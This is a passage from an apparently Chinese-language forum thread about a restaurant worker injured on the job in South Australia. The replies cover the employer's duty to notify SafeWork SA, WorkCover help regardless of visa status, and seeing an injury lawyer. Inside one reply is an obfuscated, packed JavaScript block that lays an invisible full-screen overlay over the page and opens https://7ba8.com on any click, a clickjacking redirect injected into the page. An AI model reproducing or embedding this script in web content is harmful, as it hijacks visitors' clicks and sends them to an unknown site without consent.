比较急，求咨询

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另外最坏打算以后不来了，那就走法律程序了，非法打工他本人的问题，但是雇佣关系已经建立了，那餐馆就要负责，一码归一码，

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<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>是在工作过程中受的伤，是属于SafeWork SA以及WorkeCover的管辖范畴，证据方面需要有医生的确诊证明。这样的伤势作为雇主是必须告知SafeWork SA的，不然按情况会被罚款或者判刑，不管工作签证是否有效，也是可以联系WorkCover需求帮助，毕竟雇佣和被雇佣的关系是存在的。建议去咨询擅长Workplace injury的律师吧，还是很有希望的。

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